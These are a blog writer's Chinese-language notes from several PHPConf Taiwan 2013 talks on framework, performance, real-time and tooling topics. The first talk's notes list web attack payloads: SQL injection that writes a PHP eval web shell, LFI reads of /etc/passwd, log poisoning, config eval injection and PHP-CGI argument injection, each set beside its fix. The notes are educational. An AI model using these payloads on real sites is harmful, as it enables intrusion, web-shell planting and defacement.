PHPConf Taiwan 2013 今年於 10月5日舉辦, 在此作些簡單的整理.
PHPConf 2013 筆記整理
矛盾大對決 - 「能入侵任何網站的駭客 vs. 絕對不會被入侵的網站」
- 投影片: Orange、Allen Own
- allenown@chroot.org
- orange@chroot.org
- http://blog.orange.tw/
- 我絕對能入侵你的網站 - 我的網站絕對不會被入侵
- union select select 1,2,3
- select 1.user(),3
- select 1.username,password from ...
- cmd5.com
- into outfile '/var/www/a.php' lines terminated by '<?php eval($_POST["cmd"]); ?>'
- cmd="wget ...." 改首頁
- mysql - /**/, %09, %0D, %A0, ()
- select 'foo' = select 0x666f6f
- XSS 劫持 window.onload
- xss -> login -> 改首頁
- 使用 Prepared Statements 修正 SQL Injection
- mysql_real_escape_string() 必須要使用 UTF-8
- XSS - 任何輸入、輸出值都不可信任
- OWASP Cross Site Scripting Prevention Cheat Sheet
- https://www.owasp.org/index.php
- /XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
- 使用白名單, 而不是黑名單過濾.
- $(phpinfo()}
- "root ${@eval($_POST[cmd])}";
- @eval
- @phpinfo
- Double Quote Evaluation 設定檔使用 Single Quote 而非 Double Quote
- \'
- module=login, ./login.php%00
- ../../../etc/passwd%00
- 上傳圖片, access.log 先寫入, 再去 include access.log
- /proc/self/environ
- User-Agent: <?php@ phpinfo();?>
- /proc/self/environ%00
- Local File Inclusion
- 指定 module 白名單.
- PHP-CGI argument injection
- index.php?-s
- php-cgi -s index.php
- 顯示 source code
- index.php?-d+allow_url_include%3dOn ...
- 只能更新 php-cgi 版本, 將 .htaccess 把 - 過濾掉.
- RewriteCond %{QUERY_STRING} ^(%2d|\-)[^=]+$ [NC]
Phalcon - The Fastest PHP Framework - Rack Lin 阿土伯
- 投影片: Phalcon PHP Framework and Phalcon Kernel Introduction
- Phalcon
- 用 javascript 做收銀機
- 最快的, 使用最少記憶體(C 實作), 跨平台, 低耦合Highly Decoupled, Full-stack Framework
- Volt template engine
- Phalcon Kernel
- code encode / decoder extension / 不用擺 ionCube.
- 可以快速將 PHP 轉成 so (c)
SiteTag 系統窮人調校法經驗談
- 投影片: SiteTag 系統窮人調校法經驗談
用 Gearman 與 CodeIgniter 打造 PHP 排程系統 - Appleboy
5 Easy Ways To Speed Up Your Web Application - JonathanMaron
- 投影片: 5 Easy Ways To Speed Up Your Web Application
- Want good ranking in Google? Make your web site fast!
- Concentrate on lowering time-to-firest-byte (TTFB)
- Loseless: Remove unused information from PNG
- Loseless: Increase compression level of PNG
- CLI tool: OptiPPNG, PNGCrush, PNGOUT...
- JPG CLI tool: JPGtran, JPGoptim...
- Convert JPGs to Progressive - "Feels faster" to user
- Image data is loaded in multiple passes.
- 圖片會先模糊, 慢慢清晰呈現
- Serve From Multiple Hostnames
- Browsers download 2 and 6 resources in parallel.
- WARNING: DNS lookups vs. number of sub-hosts.
- Make as many resources as possible cacheable.
- Browser's cache is alyways faster than downloading.
- Distributed or "geo-aware" systems. - For example, Amazon Web Services Route 53.
- LAZY developer do? 1. Use a Content Delivery Network. 2. Optimize his or her images.
- Book: High Performance Web Sites, Even Faster Web Sites, Web Performance Daybook,Volume 2
實戰 AssetToolkit - c9s
- Require.js or other AMD solutions
- Application with bundles
- requirejs 會需要修改很多 bundle 路徑
- Expose asset directory from bundles by symlink or auto-copy
- Support development / production mode
- https://github.com/c9s/php-AssetToolkit
- composer 安裝
- assetkit init baseDir public/assetsbaseUrl "/assets"
- .assetkit.php 會存在 applicatoin root directory.
- assetkit add path/to/bootstrap
- assetkit add path/to/assets/jquery
- 多個版本也可以丟
- assetkit install
- assetkit install --link # symbol link (faster for development mode)
- $loader = new AssetToolkit\AssetLoader($config);
- $compiler = new .....
- assets/page-id/hash.min.js
- assetkit target # 哪些 target 用到哪些 assetkit
- CssImportFilter-> Css RewirteFilter. (CSS Import 整進一行後, 在經過 rewrite 修正路徑)
- c9s: PHP - AssetToolKit
PHP 也是可以很 event - Ricky
- 投影片: PHP 也是可以很 event
- Build a Realtime Web
- Realtime web 必須具備主動發送訊息的機制
- Long Polling - IE6 也可以的方案
- Chunked Transfer Encoding - HTTP 1.1 新增
- 將資料拆成一個一個區塊送回去, Header, Data * n , End
- Header: Transfer-Encoding: chunked
- Long Polling 只能單向溝通(Server -> Client), 還有 Cross Domain 的問題.
- WebSocket: 持久連線, 雙向溝通, 允許 Binary Data, 支援 Cross Domain.
- C10K Problem - Server 同時間大量連線
- 連線到 10K 時, 設計不良的架構就會出問題.
- 硬體不再是效能的瓶頸點 (CPU / RAM 加倍也沒用)
- Blocking I/O
- 每個 Thread / Process 只服務一個連線, 透過 Blocking I/O 處理連線. ex: Apache with
- Prefork / Worker MPM.
- Blocking I/O: 充分運用 CPU 資源
- Asynchronous I/O
- 一個 Thread / Process 處理多個連線, 使用事件驅動方式處理連線. ex: Nginx,
- Memcached, Node.js
- Asynchronous I/O: 節省記憶體, 反應速度快, 架構簡單.
- 程式邏輯需注意 Blocked API, 會導致其他連線也被 Block.
- 反應速度要快, 否則無法應付瞬間大量連線
- 使用資源要省, 否則大量連線會吃光系統資源.
- select(), poll() 效能會隨著數量遞減, 時間複雜度 O(n)
- socket_select(): 1024 limit on Linux (FDSET_SIZE)
- 新一代事件通知事件: kqueue: *BSD / epoll: Linux / /dev/pool: Solaris. 時間複雜度為
- O(1) - 缺點: API 不相容, 使用 libevent 來解決.
- pecl Libevent (難用), 可用 pecl event
- pecl event: OOP, 支援 libevent2, HTTP DNS OpenSSL 支援
- Simple Web Server
- event loop: 所有事件的起點
- callback
- setDefaultCallback(function($request) {});
- setCallback('hello', ....)
- http://www.php.net/manual/en/book.event.php
- buffer: 所有輸出輸入都在 Buffer 裡
- buffer event
- setCallbacks(onRead, onWrite, onEvent, $arg);
- onRead: 當收到資料時
- onWrite: 當資料已經送出, Buffer Empty
- onEvent: 當連線狀態改變, 例如使用者斷線.
- timeout event
- 只會跑一次.
- Socket.IO - the cross-browser WebSocket for realtime apps
- phpsocket.io - Socket.IO Server Side
- https://github.com/RickySu/phpsocket.io
- phpsocket.io
- 支援 wesocket, JSONP Polling, XHRPolling, 和 Socket.IO 相似用法
- PHP 5.4 以上, ext-event (1.8 以上)
- http://pecl.php.net/package/event
- JS 直接使用 socket.io.
其他沒聽到的投影片:
Lighting Talk
c9s - phpbrew
- c9s/phpbrew
- Multiple PHP Version
- phpbrew install php-5.5.4 +dbs + default
- phpbrew use php-5.5.4
- phpbrew list
- phpbrew ext install yaml
- phpbrew ext enable yaml
- phpbrew ext disable yaml
林熙哲 - 當 Nexmo 遇上 PHP
- 影片: PHP Conf 2013 Lightning talk - 當 Nexmo 遇上 PHP 1
- 影片: PHP Conf 2013 Lightning talk - 當 Nexmo 遇上 PHP 2
- 聽風
- 發送語音訊息
- 把文字轉成語音
- 簡訊 0.4元/封, 語音 0.7元/分
- 三竹 0.88/封
- 使用簡單 RESTful API
- 簡訊通知系統
- 會員手機驗證
- 匿名手機號碼
- https://www.nexmo.com 註冊
- Nexmo-PHP-Library
- 國碼886, ex:886933123456
- 批次發送, 最多十位收件者, 逗號間隔k
吳怡穎 - 寫好前端,不要搞瘋你的 PHP 後端工程師
- 投影片: 寫好前端,不要搞瘋你的 PHP 後端工程師
- 影片: PHP Conf 2013 Lightning talk - 寫好前端,不要搞瘋你的 PHP 後端工程師
- winwu.github.io
- 製造模組化的元件
- 由資料來決定樣式的結果
Allen Own - 我的密碼沒加密,你的呢?
- 影片: PHP Conf 2013 Lightning talk - 我的密碼沒加密,你的呢? 1
- 影片: PHP Conf 2013 Lightning talk - 我的密碼沒加密,你的呢? 2
- allenown@devco.re
- 你的密碼每個網站都不一樣嗎
- http://plainpass.com
- https://www.facebook.com/PlainPass
- 可以找回密碼, 代表密碼沒加密.
- Salt + hash